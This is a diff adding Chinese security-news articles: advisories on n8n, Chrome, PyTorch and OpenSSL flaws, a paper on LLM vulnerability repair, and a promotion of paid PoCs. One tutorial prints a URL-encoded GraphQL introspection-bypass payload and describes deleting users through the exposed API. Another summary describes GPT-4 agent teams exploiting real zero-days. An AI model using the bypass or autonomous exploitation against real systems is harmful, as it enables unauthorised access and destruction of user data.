+插件官方已发布补丁,将advanced-custom-fields-table-field插件升级到1.3.31及以上版本即可
+
+
+## 知识星球
+
+**“CVE-2025-12067复现POC、CVE-2025-12067 详细漏洞复现、CVE-2025-12067复现环境“**
+现已全部发布至知识星球,大家可在知识星球内获取,自行搭建环境、学习复现、代码审计。
+
+
+> 星球加入方式见文章底部二维码,欢迎加入交流和学习
+
+
+
+
+
diff --git a/doc/2026-01/n8n 两个高危漏洞可导致认证RCE.md b/doc/2026-01/n8n 两个高危漏洞可导致认证RCE.md
new file mode 100644
index 00000000..2303fe10
--- /dev/null
+++ b/doc/2026-01/n8n 两个高危漏洞可导致认证RCE.md
@@ -0,0 +1,112 @@
+# n8n 两个高危漏洞可导致认证RCE
+Ravie Lakshmanan
+ Ravie Lakshmanan 代码卫士 2026-01-29 09:51
+
+
+
+聚焦源代码安全,网罗国内外最新资讯!
+
+**编译:代码卫士**
+
+**网络安全研究员披露了位于工作流自动化平台n8n 中的两个新漏洞,其中一个严重漏洞可导致远程代码执行后果。**
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+这两个漏洞的简述如下:
+
+- CVE-2026-1470(CVSS 9.9):eval 表达式注入漏洞,可导致经过身份验证的用户通过传递特殊构造的 JavaScript 代码,绕过表达式沙箱机制并在 n8n 的主要节点上实现完整的远程代码执行。
+
+- CVE-2026-0863(CVSS 8.5):eval 表达式注入漏洞,可导致经过身份验证的用户绕过 n8n 的 python-task-executor 沙箱限制并在底层操作系统上运行任意 Python 代码。
+
+
+
+成功利用这些漏洞可导致攻击者劫持整个 n8n 实例,包括在 “内部”执行模式下运行的场景。n8n在文档中提到,在生产环境中使用内部模式可带来安全风险,因此督促用户切换为外部模式,确保 n8n 和任务运行进程之间的适当隔离。
+
+研究人员提到,“随着 n8n 在整个组织机构中实现AI工作流程自动化,它掌握着核心工具、功能及基础设施数据(如LLM API、销售数据和内部内部身份管理系统等)的访问权限。一旦发生安全突破,相当于为黑客提供了开启整个企业系统的‘万能钥匙’。”
+
+为修复这些漏洞,建议用户更新至如下版本:
+
+- CVE-2026-1470:1.123.17、2.4.5或2.5.1
+
+- CVE-2026-0863:1.123.14、2.3.5或2.4.2
+
+
+
+就在几周前,Cyera 研究实验室就详述了位于 n8n 中的一个满分漏洞CVE-2026-21858,可导致未经身份验证的远程攻击者获得对可疑实例的完全控制。
+
+研究人员 Nathan Nehorai 表示,“这些漏洞凸显了安全沙箱隔离动态高级语言如 JavaScript 和 Python 的难度之高。即使部署了多重验证层、禁用清单和基于抽象语法树的控制,细微的语言特性和运行时行为可用于绕过安全假设。在这种情况下,已被弃用或很少使用的语法结构,结合解释器的变更和异常处理机制,足以突破原本严密的沙箱环境,最终实现远程代码执行。”
+
+****
+ 开源
+卫士试用地址:
+https://oss.qianxin.com/#/login
+
+
+ 代码卫士试用地址:https://sast.qianxin.com/#/login
+
+
+
+
+
+
+
+
+
+**推荐阅读**
+
+[n8n 满分漏洞 Ni8mare 可导致服务器遭劫持](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524822&idx=1&sn=e3ab93e00fc28bdb1a256d94e84507f3&scene=21#wechat_redirect)
+
+
+[n8n严重漏洞可导致任意代码执行](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524734&idx=1&sn=7accfa41ad8e25a3c0a292eb451552af&scene=21#wechat_redirect)
+
+
+
+
+
+**原文链接**
+
+https://thehackernews.com/2026/01/two-high-severity-n8n-flaws-allow.html
+
+
+题图:Pixa
+bay Licens
+e
+
+
+**本文由奇安信编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。**
+
+
+
+
+
+
+
+
+**奇安信代码卫士 (codesafe)**
+
+国内首个专注于软件开发安全的产品线。
+
+ 
+
+
+觉得不错,就点个 “
+在看
+” 或 "
+赞
+” 吧~
+
diff --git a/doc/2026-01/【安全圈】Chrome 发布安全更新,修复后台 Fetch API 漏洞.md b/doc/2026-01/【安全圈】Chrome 发布安全更新,修复后台 Fetch API 漏洞.md
new file mode 100644
index 00000000..c88c7bd2
--- /dev/null
+++ b/doc/2026-01/【安全圈】Chrome 发布安全更新,修复后台 Fetch API 漏洞.md
@@ -0,0 +1,104 @@
+# 【安全圈】Chrome 发布安全更新,修复后台 Fetch API 漏洞
+ 安全圈 2026-01-29 11:35
+
+
+
+
+**关键词**
+
+
+
+漏洞
+
+
+
+
+Chrome 稳定版通道已推送 144.0.7559.109 和 144.0.7559.110 版本,修复了 Background Fetch API 中存在的一项高危安全漏洞。
+
+该更新将在未来数天至数周内向 Windows、Mac 和 Linux 系统逐步推送,**用户务必尽快将浏览器更新至最新版本**
+。
+
+本次安全修复的核心是漏洞 CVE-2026-1504,这是一个影响 Background Fetch API 功能实现的**高危漏洞**
+。
+
+该漏洞被归类为功能“实现不当”问题,可能被威胁攻击者利用。
+
+此漏洞由安全研究员 Luan Herrera 于 2026 年 1 月 9 日发现并上报,且凭借该漏洞获得谷歌漏洞奖励计划(Vulnerability Reward Program)3000 美元赏金。
+
+Background Fetch API是一项网络标准,允许网络应用在后台下载大型文件,即使用户关闭了浏览器标签页或离开了该网站。
+
+此实现中的漏洞可能使攻击者能够操纵后台获取操作。不过,在大多数用户安装补丁之前,具体的漏洞利用细节将暂不公开。
+
+此次更新体现了 Chrome 对安全性的持续投入,并进一步巩固了浏览器的多层防御体系。
+
+谷歌部署了 AddressSanitizer、MemorySanitizer、UndefinedBehaviorSanitizer、Control Flow Integrity、libFuzzer 及 AFL 等多款先进检测工具,用于发现安全问题并阻止其流入稳定版通道。
+
+Chrome 144.0.7559 版本更新已立即启动推送。但为确保系统稳定性并便于监控,更新将分阶段进行,持续数周。
+
+**用户可通过访问 Chrome 设置菜单中的“检查更新”来手动安装更新**
+。
+
+Windows 和 Mac 用户应更新至版本 144.0.7559.109 或 144.0.7559.110,Linux 用户则应更新至 144.0.7559.109版本。
+
+安全专家建议,尤其是依赖搭载 Background Fetch API 的 Web 应用的企业用户与个人用户,应优先安装此更新。
+
+管理大量 Chrome 部署的企业组织应在更新期间**密切关注推送情况**
+,并验证相关应用的兼容性。
+
+本次构建所包含的全部更改的完整列表,可在官方的 Chrome 提交日志中查看。
+
+若在更新后遇到问题,用户可通过漏洞报告系统提交反馈,或前往 Chrome 社区帮助论坛寻求支持。
+
+谷歌将持续与全球安全研究人员合作,不断强化 Chrome 的安全防护能力,竭力防止漏洞对用户造成影响。
+
+
+ END
+
+
+阅读推荐
+
+
+[【安全圈】谷歌警告WinRAR必须更新!漏洞正被黑客疯狂利用:已有大量用户中招](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652073891&idx=1&sn=5a28b35ef1f9877f68769c480ec7c614&scene=21#wechat_redirect)
+
+
+
+[【安全圈】Office漏洞正被黑客大量利用!2016、2019、2021、365全中招](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652073891&idx=2&sn=37b25475a55602fcc0f9d4adb0230448&scene=21#wechat_redirect)
+
+
+
+[【安全圈】消息称耐克遭暗网黑客入侵,1.4 TB 数据遭泄露](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652073891&idx=3&sn=1a35e5886b4e61f72d6a74b570283b18&scene=21#wechat_redirect)
+
+
+
+[【安全圈】东营网警侦破一起金融借贷领域非法获取公民个人信息案](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652073876&idx=1&sn=146711e5f26f23ce33059afd4c20ff37&scene=21#wechat_redirect)
+
+
+
+
+
+
+
+
+
+
+**安全圈**
+
+
+
+
+←扫码关注我们
+
+**网罗圈内热点 专注网络安全**
+
+**实时资讯一手掌握!**
+
+
+
+
+**好看你就分享 有用就点个赞**
+
+**支持「****安全圈」就点个三连吧!**
+
+
+
+
diff --git a/doc/2026-01/【安全圈】PyTorch 安全模式被严重RCE漏洞攻破,可执行任意代码.md b/doc/2026-01/【安全圈】PyTorch 安全模式被严重RCE漏洞攻破,可执行任意代码.md
new file mode 100644
index 00000000..d2cfc7d9
--- /dev/null
+++ b/doc/2026-01/【安全圈】PyTorch 安全模式被严重RCE漏洞攻破,可执行任意代码.md
@@ -0,0 +1,85 @@
+# 【安全圈】PyTorch "安全"模式被严重RCE漏洞攻破,可执行任意代码
+ 安全圈 2026-01-29 11:35
+
+
+
+
+**关键词**
+
+
+
+漏洞
+
+
+
+
+作为现代深度学习和AI研究核心框架的PyTorch,其开发团队近日修复了一个高危漏洞(CVE-2026-24747,CVSS评分8.8)。该漏洞会破坏PyTorch最受安全关注的功能信任机制——即使启用专门设计的防护设置,攻击者仍能执行任意代码。
+## 安全机制失效
+
+漏洞存在于weights_only=True反序列化器中,该机制本应确保仅安全加载模型数据而不执行代码。在Python AI领域,torch.load()函数是加载已保存模型检查点的标准工具。由于Python的pickle模块存在可执行任意指令的安全风险,PyTorch专门引入weights_only=True标志,承诺仅加载数据(权重)并阻断可执行代码。
+## 漏洞技术细节
+
+安全研究人员发现该防护机制存在缺陷。官方公告指出:"weights_only=True反序列化器未能正确验证pickle操作码和存储元数据"。从技术角度看,该漏洞属于内存损坏问题,最终可升级为代码执行。攻击者通过构造恶意检查点文件(.pth)可触发两种特定故障:
+- 堆内存损坏:对非字典类型应用SETITEM或SETITEMS操作码
+
+- 存储不匹配:在存档中创建"声明的元素数量与实际数据之间的存储大小不匹配"
+
+当用户加载这个被污染的文件时(误以为受限模式能确保安全),反序列化器将损坏内存,可能导致攻击者劫持受害者进程。
+## 对AI供应链的影响
+
+该漏洞对AI供应链影响尤为严重,研究人员和工程师经常从Hugging Face或GitHub等公共存储库下载和测试模型检查点。公告警告称:"能够诱使用户加载恶意检查点文件的攻击者,可在受害者进程上下文中实现任意代码执行。"
+## 影响范围与修复方案
+
+该漏洞影响PyTorch 2.9.1及之前所有版本。PyTorch团队已在2.10.0版本中发布修复补丁,强烈建议开发者和数据科学家立即更新环境,确保其"安全"加载实践真正安全可靠。
+
+
+ END
+
+
+阅读推荐
+
+
+[【安全圈】谷歌警告WinRAR必须更新!漏洞正被黑客疯狂利用:已有大量用户中招](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652073891&idx=1&sn=5a28b35ef1f9877f68769c480ec7c614&scene=21#wechat_redirect)
+
+
+
+[【安全圈】Office漏洞正被黑客大量利用!2016、2019、2021、365全中招](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652073891&idx=2&sn=37b25475a55602fcc0f9d4adb0230448&scene=21#wechat_redirect)
+
+
+
+[【安全圈】消息称耐克遭暗网黑客入侵,1.4 TB 数据遭泄露](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652073891&idx=3&sn=1a35e5886b4e61f72d6a74b570283b18&scene=21#wechat_redirect)
+
+
+
+[【安全圈】东营网警侦破一起金融借贷领域非法获取公民个人信息案](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652073876&idx=1&sn=146711e5f26f23ce33059afd4c20ff37&scene=21#wechat_redirect)
+
+
+
+
+
+
+
+
+
+
+**安全圈**
+
+
+
+
+←扫码关注我们
+
+**网罗圈内热点 专注网络安全**
+
+**实时资讯一手掌握!**
+
+
+
+
+**好看你就分享 有用就点个赞**
+
+**支持「****安全圈」就点个三连吧!**
+
+
+
+
diff --git a/doc/2026-01/【已复现】OpenSSL CMS模块栈溢出漏洞(CVE-2025-15467):可导致拒绝服务或远程代码执行.md b/doc/2026-01/【已复现】OpenSSL CMS模块栈溢出漏洞(CVE-2025-15467):可导致拒绝服务或远程代码执行.md
new file mode 100644
index 00000000..37f71650
--- /dev/null
+++ b/doc/2026-01/【已复现】OpenSSL CMS模块栈溢出漏洞(CVE-2025-15467):可导致拒绝服务或远程代码执行.md
@@ -0,0 +1,153 @@
+# 【已复现】OpenSSL CMS模块栈溢出漏洞(CVE-2025-15467):可导致拒绝服务或远程代码执行
+原创 360漏洞研究院
+ 360漏洞研究院 360漏洞研究院 2026-01-29 08:41
+
+“扫描下方二维码,进入公众号粉丝交流群。更多一手网安资讯、漏洞预警、技术干货和技术交流等您参与!”
+
+
+
+
+
+
+
+
+
+**01**
+
+影响组件
+
+
+
+OpenSSL 是一个广泛使用的开源密码学工具包,为传输层安全(TLS)和安全套接字层(SSL)协议提供了强健的商业级实现。OpenSSL 提供了完整的加密库,支持多种加密算法和协议,被全球数百万服务器和应用程序用于保护网络通信安全。该组件在互联网基础设施中占据核心地位,广泛应用于Web服务器、邮件服务器、VPN及各类需要安全通信的应用场景。
+
+
+**02**
+
+**漏洞描述**
+
+
+
+近日,OpenSSL官方披露了OpenSSL中存在的栈缓冲区溢出漏洞(CVE-2025-15467)。
+
+
+该漏洞存在于 CMS(加密消息语法)AuthEnvelopedData 结构的解析过程中。当 OpenSSL 解析使用 AEAD 加密算法(如 AES-GCM)的消息时,会在**未验证长度**
+是否超出容量的情况下将 ASN.1 参数中编码的 IV(初始化向量)直接复制到固定大小的栈缓冲区当中,造成栈溢出。由于解析过程发生在认证流程之前,攻击者**无需有效密钥**
+即可通过**构造包含****超大 IV**
+ 的恶意 CMS 消息发起攻击。该漏洞除导致拒绝服务(DoS)外,在未开启漏洞缓解措施或特定工具链环境下,还可能实现**远程代码执行**
+(RCE)。
+
+
+
+图1:漏洞修复 commit 记录
+
+
+**03**
+
+**漏洞复现******
+
+
+
+360 漏洞研究院已复现OpenSSL CMS 模块栈溢出漏洞(CVE-2025-15467),经验证,攻击者可利用该漏洞触发 OpenSSL 栈缓冲区溢出,导致依赖 OpenSSL 的相关应用程序异常终止,从而造成拒绝服务(DoS)。
+
+
+
+图2:发送Payload
+
+
+
+图3:CVE-2025-15467
+
+OpenSSL CMS 模块栈溢出漏洞复现
+
+
+**04**
+
+**漏洞影响范围******
+
+
+
+受影响版本:
+
+OpenSSL 3.6
+
+OpenSSL 3.5
+
+OpenSSL 3.4
+
+OpenSSL 3.3
+
+OpenSSL 3.0
+
+
+不受影响版本:
+
+OpenSSL 1.1.1
+
+OpenSSL 1.0.2
+
+FIPS模块(3.x系列)
+
+
+**05**
+
+**修复建议******
+
+
+
+**正式防护方案**
+
+建议受影响用户尽快升级至安全版本:
+
+OpenSSL 3.6.x 升级至 3.6.1
+
+OpenSSL 3.5.x 升级至 3.5.5
+
+OpenSSL 3.4.x 升级至 3.4.4
+
+OpenSSL 3.3.x 升级至 3.3.6
+
+OpenSSL 3.0.x 升级至 3.0.19
+
+
+**06**
+
+**时间线**
+
+
+
+2026年1月29日,360漏洞研究院发布本安全风险通告。
+
+
+**07**
+
+参考链接
+
+
+
+https://nvd.nist.gov/vuln/detail/CVE-2025-15467
+
+
+08
+
+更多漏洞情报
+
+
+
+建议您订阅360数字安全-漏洞情报服务,获取更多漏洞情报详情以及处置建议,让您的企业远离漏洞威胁。
+
+
+邮箱:360VRI@360.cn
+
+网址:https://vi.loudongyun.360.net
+
+
+
+“洞”悉网络威胁,守护数字安全
+
+
+**关于我们**
+
+
+360 漏洞研究院,隶属于360数字安全集团。其成员常年入选谷歌、微软、华为等厂商的安全精英排行榜, 并获得谷歌、微软、苹果史上最高漏洞奖励。研究院是中国首个荣膺Pwnie Awards“史诗级成就奖”,并获得多个Pwnie Awards提名的组织。累计发现并协助修复谷歌、苹果、微软、华为、高通等全球顶级厂商CVE漏洞3000多个,收获诸多官方公开致谢。研究院也屡次受邀在BlackHat,Usenix Security,Defcon等极具影响力的工业安全峰会和顶级学术会议上分享研究成果,并多次斩获信创挑战赛、天府杯等顶级黑客大赛总冠军和单项冠军。研究院将凭借其在漏洞挖掘和安全攻防方面的强大技术实力,帮助各大企业厂商不断完善系统安全,为数字安全保驾护航,筑造数字时代的安全堡垒。
+
+
diff --git a/doc/2026-01/【接口漏洞第八章第九节】一招绕过GraphQL内省防御:实战利用详解.md b/doc/2026-01/【接口漏洞第八章第九节】一招绕过GraphQL内省防御:实战利用详解.md
new file mode 100644
index 00000000..51a09b3a
--- /dev/null
+++ b/doc/2026-01/【接口漏洞第八章第九节】一招绕过GraphQL内省防御:实战利用详解.md
@@ -0,0 +1,80 @@
+# 【接口漏洞第八章第九节】一招绕过GraphQL内省防御:实战利用详解
+原创 升斗安全XiuXiu
+ 升斗安全XiuXiu 升斗安全 2026-01-29 12:42
+
+**【文章说明】**
+- **目的**
+:本文内容仅为网络安全**技术研究与教育**
+目的而创作。
+
+- **红线**
+:严禁将本文知识用于任何**未授权**
+的非法活动。使用者必须遵守《网络安全法》等相关法律。
+
+- **责任**
+:任何对本文技术的滥用所引发的**后果自负**
+,与本公众号及作者无关。
+
+- **免责**
+:内容仅供参考,作者不对其准确性、完整性作任何担保。
+
+**阅读即代表您同意以上条款。**
+
+****
+在上一节[【接口漏洞第八章第八节】攻防升级:实战绕过GraphQL内省防御机制](https://mp.weixin.qq.com/s?__biz=MjM5MzM0MTY4OQ==&mid=2447797821&idx=1&sn=f167bb40c53818f8245cce223c6078fb&scene=21#wechat_redirect)
+中,我们分享了如何绕过内省防御机制,今天我们就结合实际场景来分享下,如何进行实际的利用。
+
+通常情况下,设置了
+GraphQL 内省防御机制的系统,请求的接口,在
+burpsuite工具的
+repeater功能中,是不会出现
+GraphQL 菜单栏的,如下面两个图,一个是开启了防御机制的,一个是没开启的。
+
+
+
+
+
+遇到这种情况时,就需要我们手动去发现可疑的 GraphQL API 端点,比如下面这个系统,我们发现在根目录路径下,直接添加
+/api 访问目录的话,就会返回查询错误的异常提示
+
+
+
+这个时候,我们就可以尝试用前面章节中讲到的一些内容来进行深入测试验证,看是不是存在 GraphQL 自省防御了,我们直接在这个接口的请求参数中,添加自省参数
+?query=query{__typename}
+发现系统会有响应,且burpsuite工具也会自动出现对应菜单项,具体如下
+
+
+
+虽然发现了系统是使用的
+ GraphQL api ,但系统是开启了
+自省防御的,因为通过在 GraphQL 菜单下的
+Set introspection query 功能,是无法得到接口文档明细内容的。
+
+此时根据上一章节介绍的绕过方式【换行符】,我们就可以构造如下请求来进行尝试绕过:
+```
+/api?query=query+IntrospectionQuery+%7B%0D%0A++__schema%0a+%7B%0D%0A++++queryType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++mutationType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++subscriptionType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++types+%7B%0D%0A++++++...FullType%0D%0A++++%7D%0D%0A++++directives+%7B%0D%0A++++++name%0D%0A++++++description%0D%0A++++++args+%7B%0D%0A++++++++...InputValue%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+FullType+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++description%0D%0A++fields%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++args+%7B%0D%0A++++++...InputValue%0D%0A++++%7D%0D%0A++++type+%7B%0D%0A++++++...TypeRef%0D%0A++++%7D%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++inputFields+%7B%0D%0A++++...InputValue%0D%0A++%7D%0D%0A++interfaces+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++enumValues%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++possibleTypes+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+InputValue+on+__InputValue+%7B%0D%0A++name%0D%0A++description%0D%0A++type+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++defaultValue%0D%0A%7D%0D%0A%0D%0Afragment+TypeRef+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++ofType+%7B%0D%0A++++kind%0D%0A++++name%0D%0A++++ofType+%7B%0D%0A++++++kind%0D%0A++++++name%0D%0A++++++ofType+%7B%0D%0A++++++++kind%0D%0A++++++++name%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A
+```
+
+发现请求后,确实可以实现绕过,且返回了文档明细内容。
+
+
+
+此时我们就可以将文档结构内容直接发送到网站地图中,让burpsuite帮我们格式化下得到的文档内容,通过审查文档内容,发现存在一个可以直接删除已有用户的接口地址:
+
+
+
+将这个请求发送到repeater中,直接请求的话,会发现系统会提示请求存在一些格式及语法问题
+
+
+
+这时,只需要结合使用换行符和格式调整,就可以直接通过用户的id实现用户删除的动作了,具体如下:
+
+
+
+好了,关于
+绕过
+自省防御
+的实际操作,今天就分享到这里。这边后续会继续分享api接口的相关内容,感兴趣的话,可以点点关注。
+
+觉得内容对你有用或无用,欢迎点赞或留言,这边会不断更正。
+
diff --git a/doc/2026-01/【论文推荐】大模型组队挖掘0day,成功率竟然远超专业工具?.md b/doc/2026-01/【论文推荐】大模型组队挖掘0day,成功率竟然远超专业工具?.md
new file mode 100644
index 00000000..c9f65637
--- /dev/null
+++ b/doc/2026-01/【论文推荐】大模型组队挖掘0day,成功率竟然远超专业工具?.md
@@ -0,0 +1,55 @@
+# 【论文推荐】大模型组队挖掘0day,成功率竟然远超专业工具?
+原创 heyong
+ heyong AI安全圈 2026-01-29 10:31
+
+有跳槽或找工作的同学,先看看招聘帖:
+
+[继续招人,AI安全方向](https://mp.weixin.qq.com/s?__biz=MzU5NzQ3NzIwMA==&mid=2247487692&idx=1&sn=dfa96bc0955398433caff513e907ae2b&scene=21#wechat_redirect)
+
+
+过去,大语言模型(LLM)的表现大多局限于 Capture-the-Flag(CTF)夺旗赛等已知挑战,或者在人类提供漏洞描述的前提下扮演“助手”。
+
+伊利诺伊大学厄巴纳-香槟分校(UIUC)研究团队的最新发现,GPT-4 驱动的智能体架构,已经具备了在完全没有任何先验知识的情况下,自主发现并利用真实世界0Day 能力。
+
+早期的研究表明,单一 AI 智能体在面对复杂的网络渗透任务时往往会陷入僵局。
+
+原因在于网络攻击是一个极度依赖长程规划的过程,单体模型容易受限于上下文长度限制,且在遭遇技术死胡同时,往往会陷入重复尝试的逻辑循环,难以有效回溯。
+
+UIUC 团队开发了 HPTSA(分层规划与特定任务智能体)系统,模仿人类红队分工的团队作战架构,其核心组件包括:
+- 分层规划器(Hierarchical Planner): 担任“主帅”,负责全局探索。它使用 Playwright作为自己的“眼睛和手”,浏览目标网站,并制定高层指令,识别潜在的风险页面。
+
+- 团队管理器(Team Manager): 担任“调度官”,负责接收主帅的指令并指派专家。如果某次尝试失败,管理器可以整合历史信息,并重新指派,避免智能体在失败的思路中“卡死”。
+
+- 特定任务专家(Task-Specific Experts): 针对特定漏洞类型的 6 类专业智能体,包括:XSS(跨站脚本)专家、SQLi(SQL 注入)专家、CSRF(跨站请求伪造)专家、SSTI(服务器端模板注入)专家、ZAP 专家以及通用 Web 攻击专家。
+
+为了提升效率,研究者还应用了HTML 简化策略:在将网页源码传递给智能体前,自动剥离 
+、 和 等对漏洞挖掘无关的标签,让 AI 的注意力能集中在关键的交互逻辑上。
+# 数据震撼:42% 的成功率
+
+实验结果对传统防御体系构成了巨大的冲击。
+
+在针对 14 个真实世界零日漏洞(均在模型知识截止日期后发布)的测试中,对比数据令人触目惊心:
+- HPTSA (GPT-4 驱动) 的表现: 在 Pass@5(五次尝试中至少成功一次)的指标下,成功率达到了 42%。而在 Pass@1(单次尝试成功率) 指标上,它比之前的单体智能体框架提升了高达 4.3 倍。
+
+- 开源扫描工具(ZAP, MetaSploit): 面对这些未知的真实漏洞,成功率为 0%。
+
+- 开源大模型(Llama-3 405B, Qwen-2.5 72B): 表现同样为 0%。
+
+这种巨大的差异揭示了顶尖闭源模型与开源模型之间的“能力悬崖”。Llama-3 等模型的失败不仅在于逻辑推理不足。
+
+在针对 flusity-CMS 内容管理系统的实战模拟中,HPTSA 展示了其令人惊叹的进化能力。挖掘到来两个关键漏洞:CVE-2024-24524 (CSRF) 和 CVE-2024-27757 (XSS)。
+# 24 美元换一个高危漏洞?
+
+除了经济账,比技术突破更让人不安是攻击成本的降维打击。
+- 极低的单次成本: 使用 GPT-4 驱动的 HPTSA,平均每次成功完成漏洞利用的成本仅为 24.4 美元。
+
+- 人力成本对比: 聘请一位人类安全专家(按每小时 50 美元计算,完成一次探索约需 1.5 小时)的成本约为 75 美元。
+
+目前,AI 的攻击成本已不足人类的三分之一。
+
+但,更具威胁性的是AI 具备无限的扩展性。它不会累,不像人一样需要吃饭睡觉休息。
+
+你可以同时启动 1000 个智能体进行全网渗透,随着 GPT-4o 等模型价格的不断下探,研究人员预测,未来 1-2 年内,AI 攻击的成本还将进一步下降 3 到 6 倍。
+> 需要论文的同学,请私信获取
+
+
diff --git a/doc/2026-01/【论文速读】 VulnResolver:一款基于大语言模型的自动化漏洞修复混合智能体框架.md b/doc/2026-01/【论文速读】 VulnResolver:一款基于大语言模型的自动化漏洞修复混合智能体框架.md
new file mode 100644
index 00000000..4b770821
--- /dev/null
+++ b/doc/2026-01/【论文速读】 VulnResolver:一款基于大语言模型的自动化漏洞修复混合智能体框架.md
@@ -0,0 +1,142 @@
+# 【论文速读】| VulnResolver:一款基于大语言模型的自动化漏洞修复混合智能体框架
+原创 知识分享者
+ 知识分享者 安全极客 2026-01-29 09:35
+
+
+
+**基本信息**
+
+
+原文标题:VulnResolver: A Hybrid Agent Framework for LLM-Based Automated Vulnerability Issue Resolution
+
+原文作者:Mingming Zhang, Xu Wang, Jian Zhang, Xiangxin Meng, Jiayi Zhang, Chunming Hu
+
+作者单位:Beihang University (Mingming Zhang, Xu Wang, Jian Zhang, Xiangxin Meng, Chunming Hu); Nanyang Technological University (Jiayi Zhang)
+
+关键词:automated vulnerability repair, LLM-based framework, hybrid agent system, context pre-collection, safety property analysis, SEC-bench
+
+原文链接:https://arxiv.org/abs/2601.13933
+
+开源代码:暂无
+
+
+**论文要点**
+
+
+论文简介:随着软件系统规模日益庞大且高度互联,安全漏洞的出现频率显著增加,给系统安全性和经济成本带来了严重威胁。尽管自动化检测工具(如fuzzer)已取得长足进步,能够发现大量漏洞,但漏洞的有效修复仍高度依赖人工专家经验。现有的自动化漏洞修复(Automated Vulnerability Repair, AVR)方法大多严重依赖人工提供的额外标注,例如故障位置或CWE类别标签,这些信息获取困难且耗时,同时普遍忽略了开发者在问题报告(issue report)中自然嵌入的丰富语义上下文,这些上下文往往包含理解和修复漏洞的关键线索。
+
+本文提出了 VulnResolver,这是首个基于大语言模型(LLM)的混合代理框架,专门用于自动化漏洞问题解决(automated vulnerability issue resolution)。VulnResolver 通过两个高度特化的代理,将自主代理的灵活适应性与确定性工作流引导的修复稳定性相结合:上下文预收集代理(Context Pre-Collection Agent, CPCAgent)能够自适应地探索目标代码仓库,收集依赖关系和相关上下文信息;安全属性分析代理(Safety Property Analysis Agent, SPAAgent)则负责推断、生成并验证被漏洞违反的安全属性(safety properties),从而深入揭示漏洞的语义根因。这两个代理共同生成结构化的分析报告,与原始问题报告融合,形成显著增强的问题描述,进而驱动更精准的漏洞定位和补丁生成。在 SEC-bench 基准测试中,VulnResolver 在 SEC-bench Lite 子集上成功修复了 75% 的漏洞问题,取得了最佳性能;在完整 SEC-bench 上也大幅超越当时最强的基线方法(基于代理的 OpenHands),充分证明了其在真实世界端到端自动化漏洞修复任务中的有效性与安全性意识。
+
+研究目的:现有软件工程(SWE)系统和自动化漏洞修复方法在处理真实世界安全漏洞时面临两大核心挑战:
+
+首先,当前主流的 SWE 范式可分为两类:基于代理的系统(如 SWE-agent)依赖 ReAct 循环自主决策,具有高度灵活性,但容易出现非确定性规划、在庞大动作空间中探索不足,导致补丁生成不完整或直接放弃;基于工作流的系统(如 Agentless)采用确定性流水线,具有更高的稳定性,但严重依赖单一问题报告进行上下文构建,完全放弃了代码仓库级别的自适应探索,难以获取足够丰富的上下文信息用于精确修复。因此,亟需一种混合范式,将工作流的稳定性与代理的针对性仓库探索能力相结合。
+
+其次,现有的 SWE 系统主要针对通用软件缺陷设计,缺乏针对安全漏洞独特特性的专门机制。安全漏洞本质上是程序违反了某些关键的安全约束(security constraints),这些约束可以形式化为“程序执行过程中某些坏事永远不会发生”的安全属性(safety properties)。尽管安全属性已在漏洞检测领域得到应用,但在 LLM 驱动的 SWE 系统和最新 AVR 方法中仍未被充分探索和利用,现有方法(如 PatchAgent、SAN2PATCH)缺乏显式编码或利用漏洞特有约束的组件,导致修复缺乏原则性与安全性保证。
+
+因此,本文的研究目的在于:提出一种全新的、专门面向真实世界漏洞问题的端到端自动化解决框架 VulnResolver,通过融合确定性工作流与特化代理能力,同时引入仓库自适应上下文收集和基于安全属性的语义根因分析,实现更准确、更安全、更具原则性的自动化漏洞修复,填补现有方法在语义理解、上下文完备性和安全性意识上的关键空白。
+
+研究贡献
+
+- 研究方向:据研究者所知,VulnResolver 是首个系统性地探索“自动化漏洞问题解决”(automated vulnerability issue resolution)的研究工作,能够直接、自主地处理真实世界漏洞问题报告,从而为自动化漏洞修复(AVR)开辟了全新的研究方向。同时,本文首次提出“混合代理范式”(hybrid agent paradigm),将工作流的稳定性与代理的灵活性有机结合,共同推动基于 LLM 的软件工程向更实用、更自主、更具安全意识的程序修复方向迈进。
+
+- 核心技术:提出了 VulnResolver,一个基于 LLM 的混合代理系统,它将确定性工作流与两个特化代理深度集成:上下文预收集代理(CPCAgent)负责自适应仓库探索,安全属性分析代理(SPAAgent)负责基于属性的漏洞语义推理。通过上下文获取与属性级语义理解的结合,VulnResolver 构建出显著增强的问题报告,从而驱动更有效的漏洞定位和补丁生成。
+
